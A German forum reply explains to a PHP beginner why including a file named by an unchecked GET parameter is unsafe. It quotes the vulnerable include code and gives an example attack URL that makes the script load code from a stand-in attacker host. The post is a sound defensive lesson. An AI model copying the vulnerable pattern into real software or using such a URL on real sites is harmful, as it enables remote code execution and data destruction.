Jojo: Aktiven Link nach Reload hervorheben

Beitrag lesen

Werd' gleich mal beides ausprobieren. Was ist an der Zeile soo unsicher?! (Ich fang gerdade erst mit PHP an...)

Oh oh
Musst noch viel lernen ;-)

Stell dir mal folgendes Szenario vor:
Deine Seite ist auf http://www.testing.de/seite.php zu finden.

Nun seine Links so:
<a href="seite.php?inhalt=seite2">Seite 2</a>

Dein PHP Script erhält dann folgende Daten:
$_GET['inhalt'] = "seite2";
du machst daraus:
$inhalt = $_GET['inhalt'];

so nun kommt deine "Logik" ins Spiel

  
<?php  
if (empty($_GET["inhalt"])) {  
  include("link0.php");  
} else {  
  include($inhalt.".php");  
} // Ich hab mal deine Code n bissl gesäubert ;-)  
?>  

So weit so gut...

Nun kommt aber der böse User !

Und der geht nicht auf diese Seite:
http://www.testing.de/seite.php?inhalt=seite2

sondern er ruft diese Seite auf:
http://www.testing.de/seite.php?inhalt=http://www.masterhacking.de/hacker

nun bekommt dein Script diese Daten:
$_GET['inhalt'] = "http://www.masterhacking.de/hacker";

folglich wird
if (empty($_GET["inhalt"])) {
  include("link0.php");
}
_NICHT_ ausgeführt...

somit kommt er dann in den else-Zweig:
include($inhalt.".php");

ABER (und nun kommt das unsichere)
er includet ja nicht seite2.php

SONDERN !
http://www.masterhacking.de/hacker.php !

Und in dieser Datei kann stehen, was will !
---> Darauf hast du absolut keine Einfluss... der könnte dir evtl. deine _komplette_ Datenbank ausleeren, oder _alle_ anderen PHP Dateien löschen, die er findet oder was weiß ich was...

Ich hoffe ich habe dich in dieser Beziehung nun abgehärtet ;)

Um das noch zu vertiefen, lade dir doch mal diese Datei runter:
http://www.johannes-leimer.de/php.ppt